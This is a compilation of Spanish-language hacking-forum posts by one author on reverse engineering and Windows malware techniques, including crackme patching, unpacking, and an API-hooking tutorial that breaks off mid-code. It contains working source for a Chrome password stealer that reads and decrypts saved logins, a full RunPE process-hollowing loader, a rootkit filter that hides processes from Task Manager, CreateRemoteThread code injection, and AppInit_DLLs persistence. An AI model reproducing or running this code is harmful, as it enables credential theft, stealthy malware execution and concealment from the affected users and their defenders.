Código (asm) [Seleccionar] Expandir

00402011  |. FF15 3C304000  |CALL DWORD PTR DS:[<&USER32.MessageBoxA>; \MessageBoxA


Entonces miramos el valor del registro ECX:



Si pulsamos una vez mas F8  vamos a ver que el valor de ECX cambia   y el bucle se va a romper... el programa estallara, por eso lo de guardar el valor de ECX.
Con esto quería mostrar que a veces las llamadas a las API pueden modificar los registros y nos pueden volver loco buscando el error si no andamos con cuidado.

En fin, con este poquito que hemos visto de OllyDbg podemos depurar nuestro programa, Si quereis indagar mas sobre este Software teneis miles de tutoriales en la web de Ricardo Narvaja:

www.ricardonarvaja.info

Creo que con esto acabo de tutorial de momento ya que creo que se puede tener una visión general de lo que va el tema.

un saludo y espero que ha alguien le haya ayudado!  

[+NCR]

Mirando crackmes para practicar aquí me tope con uno que estaba empacado con este packer (FSG 2.0). Me puse a buscar por internet y no vi ningún tuto en español, excepto uno de +NCR de CracksLatinos, asique me decidi seguirlo y probar a desempacarlo.

El crackme en cuestion es CrackMe#1 (Lucky) de KLiZMA, lo podeis buscar en la web antes citada.

Para desempacarlo vamos a necesitar el plugin OllyDump, que podemos obtener desde aquí.

Bueno, una vez hecho esto lo abrimos con RDG Packer y vemos que efectivamente, esta empacado  



Lo abrimos con OllyDbg y vamos a ver algo así.



Ahora vamos a buscar el verdaero OEP, para ello vamos a Plugins > OllyDump > Find OEP by section hop (Trace Over).

Y caemos aquí



Ahora clic derecho > Analisis > Remove Analisis from this module. Y ahí vemos  el verdadero OEP.



Ahora, vamos a guardar los cambios, para ello vamos a Plugins > OllyDump > Dump Debugger Process. Le damos al botón Dump y guardamos el ejecutable desempacado.

Ahora nos surge otro problema, por lo menos en Windows 7 de 64 bits y es qeu al intentar ejecutarlo, nuestro ejecutable no funciona  



Para que funcione tendremos que hacer clic derecho sobre el ejecutable y darle a solucionar opciones de compatibilidad. Seguir el asistente y dejarlo con la configuración que nos recomienda el SO.

Y bueno, ahora si nos deja ejecutarlo correctamente.



Bueno, pues eso ha sido todo. No es un gran cosa pero en determinados casos te puede sacar de un "apuro".  

Espero que a alguien le sirva.

saludos.

No es el código completo, ya que sería todo demasiado masticado   peeero, lo que queda de implementar (el hook a la api) se puede hacer fácilmente siguiendo mi tutorial sobre ello.

Esto es solo un ejemplo de cómo sería el filtro para ocultar procesos a dicha API (la que usa el admin de tareas para listar los procesos)  

Si abrimos  la calculadora de windows (calc.exe) y descomentamos las línea de código vamos a ver como va mostrando todos los procesos menos el que ocultamos nosotros (con el while anterior).

En fin, aquí esta el código.

Código (c) [Seleccionar] Expandir

// Filtro procesos a la API NtQuerySystemInformation
// Juan fary.
// MVSC++ 2008

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

typedef struct _SYSTEM_PROCESS_INFORMATION
{
   DWORD NextEntryOffset;
char fary1[56];
   DWORD ImageName;
DWORD fary2;
   LONG BasePriority;
   PVOID UniqueProcessId;
} SYSTEM_PROCESS_INFORMATION;

typedef DWORD (WINAPI * _SystemProcessInformation)(DWORD, void*, unsigned long, unsigned long*);

int main()
{
_SYSTEM_PROCESS_INFORMATION * spi;
DWORD ret;
char proceso[18] = "c\0a\0l\0c\0.\0e\0x\0e\0\0"; // "calc.exe" en unicode proceso que no se mostrará

_SystemProcessInformation __SystemProcessInformation = (_SystemProcessInformation)GetProcAddress(LoadLibraryA("NTDLL.DLL"), "NtQuerySystemInformation");

void * buffer = VirtualAlloc(NULL, 1024*1024, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);

spi = (_SYSTEM_PROCESS_INFORMATION *)buffer;

ret = __SystemProcessInformation(5, spi, 1024*1024, NULL);


//_SYSTEM_PROCESS_INFORMATION * Intacta = spi; // Para comprobar que el hook funciono.


while(spi->NextEntryOffset) // Filtro para saltar el proceso que nosotros queramos.
{
_SYSTEM_PROCESS_INFORMATION * Viejospi = spi;
spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);

if (lstrcmpW((LPCWSTR)spi->ImageName,(LPCWSTR)proceso) == 0)
{
Viejospi->NextEntryOffset += (DWORD)spi->NextEntryOffset;
}else{
spi = Viejospi;
spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
}        
}

/*spi = Intacta;
while(spi->NextEntryOffset) // Comprobamos que muestra todos los procemos menos el que ocultamos ;P
   {
       MessageBoxW(0, (LPCWSTR) spi->ImageName, 0, 0);
       spi=(_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
   }*/

return 0;
}

Sí teneis alguna duda o queréis que ponga el código completo del rootkit avisar, aunque perdería la gracia.

saludos.

[strcmp]

En este tema intentaré explicar como hacer  de nuestro Crackme, un Keygen. Modificando su comportamiento.

Decir que, esta técnica no funciona con todos los crackme, pero normalmente con los que suele hacer un strcmp suele funcionar.

En esta práctica vamos a usar el Crackme V1 de Yo-Mismo. Lo podemos descargar de aquí (estando registrados).

http://crackmes.de/users/yo_mismo/crackme_v1/

Bien, una vez que tenemos el crackme lo abrimos con OllyDbg. Lo importante es llegar al punto caliente donde compara el seríal que genera con el que nosotros introducimos, para ello en este caso pondremos un BP en scanf. Y se nos parará aquí:



Un poco mas abajo veremos el strcmp:

Código [Seleccionar] Expandir


00401389  |. E8 52040000    CALL <JMP.&msvcrt.strcmp>                ; \strcmp

ponemos un BreakPoint en el. Introducimos usuario y serial y se nos parará en la función, vamos a examinarlo.



En la dirección 0x00404010 esta el serial correcto y en la dirección 0x00404020 esta el seríal que nosotros hemos introducido.

Anotamos la dirección donde guarda en seríal generado para nuestro usuario, osea 0x00404010.

Ahora lo que haremos será modificar la función printf, para que cuando valla a dar el error de "chico malo" en vez de mostrar el error muestre lo que sería el seríal válido para el usuario introducido.

Un poco mas abajo veremos donde muestra el mensage de error y el mensage correcto.



Entonces todo lo que tenemos que hacer es modificar esta linea:

Código [Seleccionar] Expandir


004013A8  |> C70424 6420400>MOV DWORD PTR SS:[ESP],crack.00402064    ; |ASCII "Sigue intentando..."

Por esta otra:

Código [Seleccionar] Expandir

004013A8     C70424 1010400>MOV DWORD PTR SS:[ESP],crack.404010

Ahora guardemos los cambios. Clic derecho>Copy To executable>All Modifications.
Clic derecho de nuevo en la ventana que nos paarecio > Save File.

Guardamos con el nombre que queramos y listo.

El único requisito que debemos cumplir es que el usuario y el serial que introduzcamos debe tener una longitud igual o mayor a 4. Si observas el algoritmo del Crackme lo vas a poder ver

Ejemplo de como funciona nuestro keygen:





Eso fue todo Espero que se haya entendido algo, y nada, se que esto es muy básico pero seguro que a mas de uno de los que empiezan le va a servir.

un saludo.

Bueno, pues, esto es solo una curiosidad.

¿Cuantos de ustedes siguen este programa?

Me parece un programa interesantisimo y lo sigo desde hace años.

saludos.

[AppInit_DLLs]

Bueno, creo que esto no se ha hablado por aquí aunque es un poco viejuno

Se trata de modificar un valor  de esta ruta del registro:

Código [Seleccionar] Expandir

HKEY_LOCAL_MACHINES\Software\Microsoft\WindowsNT\CurrentVersion\Windows\


El valor AppInit_DLLs. En el pondrémos la ruta de nuestra DLL. Nuestra DLL será cargada cuando inicie una aplicación y cargue USER32.DLL.

saludos.

Las reglas:

https://foro.elhacker.net/ingenieria_inversa/retos_mensuales_de_reversing-t371874.0.html

1- A.ZIP: Nivel 1.
http://www.mediafire.com/download/66tf5di5dv4drwf/a.zip

2 - Level-4.ZIP: Nivel 1.
http://www.mediafire.com/download/lj4sg9n279c8mts/level-4.zip

3 - SA_Lock_System_-_CrackMe_-_0x90.ZIP: Nivel 1.
http://www.mediafire.com/download/8h7k24wobrvs7lb/C1-SA_Lock_System_-_CrackMe_-_0x90.zip

4- Kgm#1.ZIP: Nivel 2.
http://www.mediafire.com/download/x5cwxr6wc7xn6cw/Kgm%231.zip

Fuente de los crackmes: crackmes.de

saludos!!

[kub0x]

Bueno, antes de nada este código se lo quiero dedicar a kub0x, que le gustan los códigos en ensamblador  

Es un Stealer del navegador Google Chrome, funcional con la última versión.



Código fuente:

Código (asm) [Seleccionar] Expandir

; Stealer Google Chrome
; Programado por Juan fary.
; Flat Assembler.

format PE Console 4.0
entry start
include 'win32ax.inc'

section '.data' data readable writeable
       ruta         db '\Local\Google\Chrome\User Data\Default\Login Data',0
       query        db 'SELECT origin_url, username_value, password_value FROM logins',0

       bd           dd ?
       stmt         dd ?

       URL          db 'URL: %s',10,13,0
       Usuario      db 'Usuario: %s',10,13,0
       PASS         db 'PASS: %s',10,13,0

       struct DATA_BLOB
              cbData   dd ?
              pbData   dd ?
       ends

       datain      DATA_BLOB
       dataout     DATA_BLOB

       buffer      rb 255

       barra       db '-----------------------------------------------------',10,13,0

       BufferRuta  rb 512
       APPDATA     db 'APPDATA',0

section '.code' code readable executable
start:
       invoke GetEnvironmentVariableA, APPDATA, BufferRuta,512
       invoke lstrcat, BufferRuta, ruta

       cinvoke sqlite3_open, BufferRuta, bd
       cmp eax, 0 ; eax = SQLITE_OK
       jne salir

       cinvoke sqlite3_prepare_v2, [bd] , query, -1 ,stmt,0
       cmp eax, 0 ; eax = SQLITE_OK
       jne salir

   BuclePass:
       cinvoke sqlite3_step, [stmt]
       cmp eax, 100 ; eax = SQLITE_ROW
       jne salir

       cinvoke printf,barra

       cinvoke sqlite3_column_text , [stmt], 0  ; URL
       cinvoke printf,URL,eax

       cinvoke sqlite3_column_text , [stmt], 1  ; USUARIO
       cinvoke printf,Usuario,eax

       cinvoke sqlite3_column_text , [stmt], 2  ; Contraseña

       mov [datain.pbData], eax
       mov [datain.cbData], 512

       invoke CryptUnprotectData , datain, 0, 0, 0, 0, 0, dataout

       mov ecx, -1
    BucleNull:
       mov edx, [dataout.pbData]
       inc ecx

       cmp byte[edx+ecx],0x08
       jne BucleNull

       mov byte[edx+ecx],0

       cinvoke printf, PASS, [dataout.pbData]

       cinvoke printf,barra

       jmp BuclePass

       salir:
       cinvoke system,'PAUSE'
       ret

section '.idata' import data readable writeable

       library  sqlite3, 'sqlite3.dll',\
                msvcrt, 'msvcrt.dll',\
                Crypt32, 'Crypt32.dll',\
                KERNEL32, 'KERNEL32.DLL'

       import sqlite3,\
              sqlite3_open, 'sqlite3_open',\
              sqlite3_prepare_v2, 'sqlite3_prepare_v2',\
              sqlite3_column_text, 'sqlite3_column_text',\
              sqlite3_step, 'sqlite3_step'

       import msvcrt,\
              printf, 'printf',\
              memcpy,'memcpy',\
              system, 'system'

       import Crypt32,\
              CryptUnprotectData, 'CryptUnprotectData'

       import KERNEL32,\
              GetEnvironmentVariableA, 'GetEnvironmentVariableA',\
              lstrcat, 'lstrcatA'

saludos.

Esto es solo una curiosida ampliando los datos de la wikipedia.

Código [Seleccionar] Expandir

https://es.wikipedia.org/wiki/Endianness

En ASM.

Código (asm) [Seleccionar] Expandir

; Little-Endian ó Big-Endian
; Juan fary.

format PE Console 4.0
entry start
include 'win32ax.inc'

section '.data' data readable writeable
        numero          dw 1

        little_endian   db 'Little-Endian!',0
        big_endian      db 'Big-Endian!',0

section '.code' code readable writeable executable
start:

        mov al, byte[numero]

        cmp al,1
        jne Big

        invoke MessageBoxA,0,little_endian,0,MB_OK
        ret

        Big:
        invoke MessageBoxA,0,big_endian,0,MB_OK
        ret


section '.idata' import data readable writeable
    library User32,'User32.dll'

    import User32,\
           MessageBoxA,'MessageBoxA'     

saludos.

[¿Qué es el formato PE?]

¿Qué es el formato PE?

Según wikipedia:

El formato Portable Executable (PE) es un formato de archivo para archivos ejecutables, de código objeto, bibliotecas de enlace dinámico (DLL), archivos de fuentes FON, y otros usados en versiones de 32 bit y 64 bit del sistema operativo Microsoft Windows.

En palabras sencillas, es la estructura que tienen los archivos ejecutables.



¿Para qué nos sirve en malware?

Pues teniendo conocimientos del PE podemos desde infectar un ejecutable, hasta cargarlo en memoria sin que toque el disco (RunPE), cargar funciones sin importarlas, en fin, una seria de ventajas que sin su conocimiento no sería posible hacer o sería posible pero de mala manera.



Manuales

-Manual Formato PE - The Swash

-Importando funciones manualmente.   -> https://www.mediafire.com/file/hpbtm61ms4o9iet/1330-IMPORTANDO_FUNCIONES_MANUALMENTE_-_The_Swash.rar/file

-Relocaciones en ejecutables.   -> https://www.mediafire.com/file/l2jp79c06jgfs58/1331-RELOCACIONES_EN_EJECUTABLES_por_The_Swash.rar/file

Talleres

-Taller Secciones formato PE - The Swash

-Taller formato PE - Ferchu

-Cifrando Malware a mano - Zero.

Códigos

-Ret Exe Corruption - Karcrack

-Runpe en ASM - fary.

-Ampliar sección ejecutable - Zero.

-Añadir una sección - Zero.

-Base Relocation - Zero.

-Infección por TLS - The Swash.


Si se me escapa algo más por ahí, avisar!

Bueno, nunca encontre un RunPE hecho en ASM, asique hace un tiempo lo programe yo mismo.
Se los dejo por aquí...

Código (ASM) [Seleccionar] Expandir

; // RunPE
; // Programado por Juan fary (mDrinky)
; // drinky.94@hotmail.com

format PE GUI 4.0
include 'win32ax.inc'
entry start

section '.data' readable writeable

        struct CONTEXT
               ContextFlags             dd ?
               Dr0                      dd ?
               Dr1                      dd ?
               Dr2                      dd ?
               Dr3                      dd ?
               Dr6                      dd ?
               Dr7                      dd ?
               FloatSave                dd ?
               SegGs                    dd ?
               SegFs                    dd ?
               SegEs                    dd ?
               SegDs                    dd ?
               Edi                      dd ?
               Esi                      dd ?
               Ebx                      dd ?
               Edx                      dd ?
               Ecx                      dd ?
               Eax                      dd ?
               Ebp                      dd ?
               Eip                      dd ?
               SegCs                    dd ?
               EFlags                   dd ?
               Esp                      dd ?
               SegSs                    dd ?
               ExtendedRegisters        rb 512
        ends

        calc            db 'c:\windows\system32\calc.exe',0
        bleidos         dd 0
        Datos           dd 0
        Espacio         dd 0

        _SI                   STARTUPINFO ?
        _PI                   PROCESS_INFORMATION ?
        CTX                   CONTEXT ?

        Param2          dd 0

        ; Datos PE
        imagebase       dd ?
        sizeofheaders   dd ?
        sizeofimage     dd ?
        numseciones     dd ?


section '.code' executable readable writeable
start:
        invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI

        invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0      ; nos autoleemos
        mov ebx,eax
        invoke GetFileSize,ebx,0
        mov edi,eax
        invoke GlobalAlloc,GPTR,edi
        push eax
        invoke ReadFile,ebx,eax,edi,addr bleidos,0
        invoke CloseHandle,ebx
        pop eax

        mov [Datos],eax

        cmp word[eax],'MZ'
        jne salir

        add eax,dword[eax+0x3C]  ; PE

        cmp word[eax],'PE'
        jne salir

        push dword[eax+0x34] ; imagebase
        pop [imagebase]

        push dword[eax+0x54] ; sizeofheaders
        pop [sizeofheaders]

        push dword[eax+0x50]
        pop [sizeofimage]    ; sizeofimage

        movzx ebx,word[eax+0x6] ; numero de secciones
        mov [numseciones],ebx

        push eax  ; guardamos ya EAX para el final

        push eax
        invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase]
        invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE
        mov [Espacio],eax
        invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0
        pop eax

        mov ecx,0

        add eax,0xF8 ; posicionamos en las cabeceras de sección

        EscribirSecciones:

        inc ecx

        push ecx
        push eax

        mov ebx,eax
        mov ebx,dword[ebx+0xC]      ; imagebase
        add ebx,[imagebase]

        mov [Param2],ebx

        mov ebx,eax
        mov ebx,dword[ebx+0x14]
        mov edx,[Datos]
        add edx,ebx

        mov ebx,eax
        mov ebx,dword[ebx+0x10]

        invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0

        pop eax
        pop ecx

        add eax,0x28  ; Siguiente IMAGE_SECTION_HEADER

        cmp ecx,[numseciones]
        jne EscribirSecciones

        invoke GetThreadContext,[_PI.hProcess],CTX

        invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0

        pop eax

        add eax,dword[eax+0x3C]
        mov eax,dword[eax+0x28]

        mov [CTX.Eax],eax ; EntryPoint

        invoke SetThreadContext,[_PI.hProcess],CTX

        invoke ResumeThread,[_PI.hThread]

        salir:
        ret

section '.idata' import data readable writeable
        library NTDLL,'NTDLL.DLL',\
                KERNEL32,'KERNEL32.DLL'

        import KERNEL32,\
                CreateProcessA,'CreateProcessA',\
                CreateFileA,'CreateFileA',\
                GetFileSize,'GetFileSize',\
                GlobalAlloc,'GlobalAlloc',\
                ReadFile,'ReadFile',\
                CloseHandle,'CloseHandle',\
                VirtualAllocEx,'VirtualAllocEx',\
                WriteProcessMemory,'WriteProcessMemory',\
                GetThreadContext,'GetThreadContext',\
                SetThreadContext,'SetThreadContext',\
                ResumeThread,'ResumeThread'

        import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection'

[Inyecciones de código en memoria]

Inyecciones de código en memoria

Conocimientos previos:

     

-ASM
      -WinApi

Contenido:
1-   ¿Qué es la inyección de código en memoria?
2-   ¿Cómo realizarla?
     2.1- Teoría
     2.2 -Práctica
3-   Ejemplos de inyecciones
4-   Despedida


1- ¿Qué es la inyección de código en memoria?

La inyección de código en memoria consiste  en que otro proceso ejecute el código que nosotros queramos.


2- ¿Cómo realizarla?

2.1 - Teoria
Para realizar la inyección lo que haremos será crear   un espacio en el proceso donde queremos inyectar el código  con la api VirtualAllocEx a continuación escribiremos nuestro código con WriteProcessMemory y finalmente lanzamos el hilo con CreateRemoteThread

2.2- Práctica
Para poner en práctica la teoría anterior vamos a inyectar nuestra funcion en el proceso del buscaminas y haremos que nuestra función haga un MessageBox:

Código (asm) [Seleccionar] Expandir

format PE GUI 4.0
entry start

include 'win32ax.inc'

        Ventana db 'Buscaminas',0
        idproc dd ?
        ID dd ?

        TamFun dd ?
        DirFun dd ?

start:
        invoke FindWindow,NULL,Ventana
        invoke GetWindowThreadProcessId,eax,addr idproc   ;idproc = identficador del proceso
        invoke OpenProcess,PROCESS_ALL_ACCESS,0,[idproc]
        mov [ID],eax

        invoke LoadLibrary,"user32.dll" ;cargamos user32.dll
        invoke GetProcAddress,eax,"MessageBoxA" ;obtenemos la dirección de la api
        mov [mMessageBoxA],eax  ; movemos la dirección de la api a la variable que hay dentro de la funcion qeu inyectaremos

        mov eax,final  ;Obtenemos el tamaño de la función
        sub eax,Inyectado
        mov [TamFun],eax

        invoke VirtualAllocEx,[ID],0,[TamFun],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE  ;generamos el espacio dentro del proceso
        mov [DirFun],eax
        invoke WriteProcessMemory,[ID],eax,Inyectado,[TamFun],0 ;escribimos nuestro código en el proceso
        invoke CreateRemoteThread,[ID],0,0,[DirFun],0,0,0  ;Lanzamos el hilo.

        ret

        proc Inyectado
             call offset  ;Técnica del offset delta.
             offset:
             pop ebx
             sub ebx,offset
             push ebx ebx
             pop ecx edx

             add ecx,titulo
             add edx,cuerpo

             push 0
             push ecx
             push edx
             push 0

             call [ebx+mMessageBoxA]


             ret

             titulo db 'Me inyecte!',0
             cuerpo db 'Este Mensage sale del buscaminas ^^',0

             mMessageBoxA dd ? ;variable que contiene la dirección de MessageBoxA@user32.dll
        endp
        final:

data import
     library kernel32,'Kernel32.dll',\
             user32,'user32.dll'

     import user32,MessageBoxA,'MessageBoxA',\
            FindWindow,'FindWindowA',\
            GetWindowThreadProcessId,'GetWindowThreadProcessId'

     import kernel32,OpenProcess,'OpenProcess',\
            GetModuleHandle,'GetModuleHandleA',\
            GetProcAddress,'GetProcAddress',\
            VirtualAllocEx,'VirtualAllocEx',\
            WriteProcessMemory,'WriteProcessMemory',\
            CreateRemoteThread,'CreateRemoteThread',\
            LoadLibrary,'LoadLibraryA'
end data 

Como se puede apreciar no es muy difícil pero si plantea un problema grande y es que  nuestro ejecutable sabe en que dirección se encuentra la variable mMessageBoxA cuando compilamos pero al inyectar el código la dirección de la variable cambiara... y nuestra función fallara -_- para eso se usa la tecnica del Delta Offset para recalcular la dirección de las variables y que nuestro código se ejecute bien este en la dirección que este. Para entender que hace el delta Offset pinchar Aquí

3- Ejemplo de inyecciónes

Un simple ejemplo que lanza la calculadora, se inyecta en su proceso cambia el nombre a la ventana y hace un MessageBox

Código (asm) [Seleccionar] Expandir

Format PE GUI 4.0
entry start
include 'win32ax.inc'

calc db 'c:\windows\system32\calc.exe',0
pi PROCESS_INFORMATION ?
sin STARTUPINFO ?
TamFun dd ?  ;tamaño de la funcion...
DirFun dd ? ; dirección de la funcion
DirUser dd ?

start:
        invoke CreateProcessA,0,calc,0,0,0,0,0,0,sin,pi
        invoke Sleep,2000
        invoke LoadLibrary,"user32.dll"
        mov [DirUser],eax

        invoke GetProcAddress,[DirUser],"MessageBoxA"
        mov [mMessageBoxA],eax
        invoke GetProcAddress,[DirUser],"FindWindowA"
        mov [mFindWindow],eax
        invoke GetProcAddress,[DirUser],"SetWindowTextA"
        mov [mSetWindowTextA],eax

        mov ebx,final  ;obtenemos el Tamaño de la función
        sub ebx,Inyectada
        mov [TamFun],ebx

        invoke VirtualAllocEx,[pi.hProcess],0,[TamFun],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
        mov [DirFun],eax
        invoke WriteProcessMemory,[pi.hProcess],eax,Inyectada,[TamFun],0
        invoke CreateRemoteThread,[pi.hProcess],0,0,[DirFun],0,0,0
        ret

        proc Inyectada
                call offset
                offset:
                pop ebx
                sub ebx,offset
                push ebx
                pop ecx

                add ecx,Calculadora

                push ecx
                push NULL
                call [ebx+mFindWindow]

                push ebx
                pop ecx

                add ecx, TituloVen

                push ecx
                push eax
                call [ebx+mSetWindowTextA]

                push ebx ebx
                pop edx ecx

                add ecx,TituloMsg
                add edx,CuerpoMsg

                push 0
                push ecx
                push edx
                push 0

                call [ebx+mMessageBoxA]
                ret

                TituloMsg db 'Inyectado!',0
                CuerpoMsg db 'El código inyectado Cambio el nombre a la ventana',0
                TituloVen db 'Este es un título falso',0
                Calculadora db 'Calculadora',0

                mMessageBoxA dd ?  ;Dirección MessageBox
                mFindWindow dd ?   ;dirección fundwindow
                mSetWindowTextA  dd ? ;Dirección de SetWindowText
        endp
        final:
data import
     library kernel32,'kernel32.dll'

     import kernel32,CreateProcessA,'CreateProcessA',\
            Sleep,'Sleep',\
            GetModuleHandle,'GetModuleHandleA',\
            GetProcAddress,'GetProcAddress',\
            VirtualAllocEx,'VirtualAllocEx',\
            WriteProcessMemory,'WriteProcessMemory',\
            CreateRemoteThread,'CreateRemoteThread',\
            LoadLibrary,'LoadLibraryA'
end data   

4- Despedida

Bueno, ya solo queda la despedida.... Jajaja pues eso que espero que les sea utíl  el tuto, la barrera de lo que podais hacer con las inyecciones de código la poneis vosotros

Saludos.

Buenas, alguien sabe alguna manera de enviar un correo desde C#?

He probado de la siguiente manera y no lo consigo, el servidor me responde que necesito una conexion segura.

Código (csharp) [Seleccionar] Expandir

using System;
using System.Net.Mail;
using System.Net;

namespace Email
{
    class Program
    {
        static void Main(string[] args)
        {
            MailMessage email = new MailMessage();
            MailAddress emisor = new MailAddress("x@gmail.com");

            email.Subject = "desde c#";
            email.To.Add("x4@hotmail.com");
            email.From =  emisor;
            email.Body = "Este es el cuerpo del mensaje";

            SmtpClient SMTP = new SmtpClient("smtp.gmail.com");
            NetworkCredential credenciales = new NetworkCredential("x@gmail.com","xxx");
           
            SMTP.Port = 587;
            SMTP.EnableSsl = true;
            SMTP.Credentials = credenciales;

            try
            {
                SMTP.Send(email);
                Console.WriteLine("Enviado!");
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }

            Console.Read();

        }
    }
}


saludos.

¿Cuantas veces te preguntaste como funciona el RunPE Killer de psymera?

Bién pues ahora lo puedes descubrir, he creado este programa que funciona de forma similar. Es decir, desempaqueta el archivo que contiene un cripter.



Entorno gráfico programado en C y la DLL en FASM.

Espero que lo disfruten y aprendan.

Descarga Binario:
http://www.mediafire.com/download/3f7nyj0hs96hi1t/KillerPEv0.1.rar

Descarga Source:
http://www.mediafire.com/download/0etz5z2v7djchvc/Killer+PE.rar

saludos

Feliz Navidad a todos los usuarios de este gran foro. 

Que estos dias llenen las casas de alegría y felicidad y que intentemos este proximo año ser un poco mas buenos


saludos!!

http://www.elmundo.es/espana/2015/12/16/5671a79a268e3e257b8b46ac.html


No tardarán en sacar el GIF.

[¿Que podemos hacer con este metodo?]

Bueno, en este texto voy a intentar explicar de que se trata el API hooking.

Una descripción rapida de lo que es este metodo sería algo así: realizar un gancho a una función del sistema para poder modificar su retorno o bién sus parametros.

¿Que podemos hacer con este metodo?

Pues de todo lo que se nos ocurra desde ocultar archivos, procesos, hasta espiar conversaciones de skype, bloquear llamadas al sistema de detecminados procesos, etc.


¿Que nociones debo tener para aplicar correctamente esta técnica?

Se deberá tener nociones de ensamblador, ademas el ejemplo que aquí usare esta en FASM, además de saber manejar un poco Ollydbg.


¿En que consiste dicha técnica?

Consiste en modificar los primeros bytes de la funcion que queremos hookear,  en esos primeros bytes escribiremos un salto a nuestra funcion (Que emulara la función original pero con los parametros que nosotros queramos).

Para modificar los primeros bytes de la API deberémos dar permisos de escritura y ejecución ya que si no no podremos escribir nuestro salto.


Dicho todo esto pasemos al código y a aprender su funcionamiento.

En este caso hookearemos la API  MessageBoxA, para ello crearemos nuestro propio ejecutable:

Código (asm) [Seleccionar] Expandir

include 'win32ax.inc'

.data
       msg1            db 'hola',0


.code
start:

   invoke MessageBoxA,0,msg1,0,0
   ret

.end start                    

la salida del programa es la siguiente:



Obtetivo: que nuestro programa cante lo que nosotros queramos.

El primer paso será ver el inicio de la API desde el olly DBG para que cuando nosotros escribamos el salto no dejemos ninguna instruccion a medias (si dejamos alguna instruccion a medias nuestro programa petara)

Asique abrimos OllyDbg y vemos que contiene el inicio de la API.



A nosotros en realidad solo nos interesan los primero 5 bytes, que es lo que ocupa el salto (jmp + Direccion).

En este caso nos viene perfecto ya que las 3 primeras instrucciones:

Código (asm) [Seleccionar] Expandir

mov edi, edi
push ebp
mov ebp, esp

Ocupan exactamente 5 bytes.

Bien, copiamos esas 3 instrucciones y las guardamos en un archivo de texto para no olvidarlas, ya que nos harán falta mas adelante.

Una vez hecho esto, lo que haremos será lo siguiente, obtendremos la dirección de MessageBoxA, y sobreescribiremos sus primeros bytes para que salte a nuestra función.

Código (asm) [Seleccionar] Expandir


include 'win32ax.inc'

.data
       msg1            db 'hola',0
       USER32          db 'USER32.DLL',0
       funcion         db 'MessageBoxA',0
       dirfun          dd ?
       proteccion      dd ?

.code
start:

   call Hook

   invoke MessageBoxA,0,msg1,0,0
   ret

   proc Hook
       invoke LoadLibrary, USER32
       invoke GetProcAddress,eax,funcion   ; Obtenemos la  direccion de la función
       mov [dirfun],eax

       mov ebx,eax

       mov eax, mMessageBox     ; Calculamos el salto relativo.
       sub eax,ebx
       sub eax,5


       push eax

       invoke VirtualProtect,[dirfun],5,PAGE_EXECUTE_READWRITE,addr proteccion   ; damos derechos de acceso.

       pop eax

       mov ebx, [dirfun]

       mov byte[ebx],0xE9  ;escribimos un jmp al inicio de la API verdadera
       inc ebx
       mov dword[ebx],eax   ; escribimos el salto que tiene que dar en el inicio de la api verdadera
       add ebx,4

       ret
   endp

   proc mMessageBox     ; Funcion que saltará cuando el programa llame a la API Original

       ret
   endp

.end start    


El texto esta comentado pero de igual forma puntualizaré algunas cosillas.

1- Para poder escribir sobre la API original es OBLIGATORIO dar derechos de escritura, en este ejemplo esto se hace con VirtualProtect
2- Tendremos que calcular el salto relativo a nuestra función,  como se ve claramente en el código
3- Llegados a este punto ya tenemos establecido el hook por lo que si probamos a ejecutar el programa de arriba no imprimira nada en pantalla, ya que hemos roto los primeros bytes de la API, es más, queda totalmente inutilizada llegados a este punto.

Ahora tendremos que programar la funcion mMessageBox, para que cante lo que nosotros queramos.

Algunos datos que tenemos que tener en cuenta es que los valores que se introdujeron en la pila sigue ahí, junto con la dirección de retorno de la función, nosotros tendremos que recuperar la funcion de retorno para que el programa siga su ejecución correctamente.

Para aplicar esto debemos saber que, al realizar un call lo que hace el procesador es introducir en la pila la siguiente instruccion que se ejecutara cuando la función a la que llamamos retorne. Por eso lo que nosotros hacemos será recuperarla, introducir lo que nosotros queramos que cante la API, ejecutar los primeros bytes originales de la API y saltar a la dirección original de la API + 5 bytes (recordemos que en esos primeros 5 bytes esta el hook, por eso los emulamos desde nuestra funcion).

Ahí va el código completo del hook comentado.

Código (asm) [Seleccionar] Expandir

include 'win32ax.inc'

.data
       msg1            db 'hola',0
       USER32          db 'USER32.DLL',0
       funcion         db 'MessageBoxA',0
       dirfun          dd ?
       proteccion      dd ?
       msghook         db 'API Hookeada!',0

.code
start:

   call Hook

   invoke MessageBoxA,0,msg1,0,0
   ret

   proc Hook
       invoke LoadLibrary, USER32
       invoke GetProcAddress,eax,funcion   ; Obtenemos la  direccion de la función
       mov [dirfun],eax

       mov ebx,eax

       mov eax, mMessageBox     ; Calculamos el salto relativo.
       sub eax,ebx
       sub eax,5


       push eax

       invoke VirtualProtect,[dirfun],5,PAGE_EXECUTE_READWRITE,addr proteccion   ; damos derechos de acceso.

       pop eax

       mov ebx, [dirfun]

       mov byte[ebx],0xE9  ;escribimos un jmp al inicio de la API verdadera
       inc ebx
       mov dword[ebx],eax   ; escribimos el salto que tiene que dar en el inicio de la api verdadera
       add ebx,4

       ret
   endp

   proc mMessageBox     ; Funcion que saltará cuando el programa llame a la API Original
       pop eax       ; obtenemos la direccion de retorno que introdujo el call

       pop ebx       ; sacamos los parametros original que se pasaron a la API
       pop ebx
       pop ebx
       pop ebx

       push 0       ; Introducimos los parametros que queremos que ejecute nuestra API
       push 0
       push msghook
       push 0

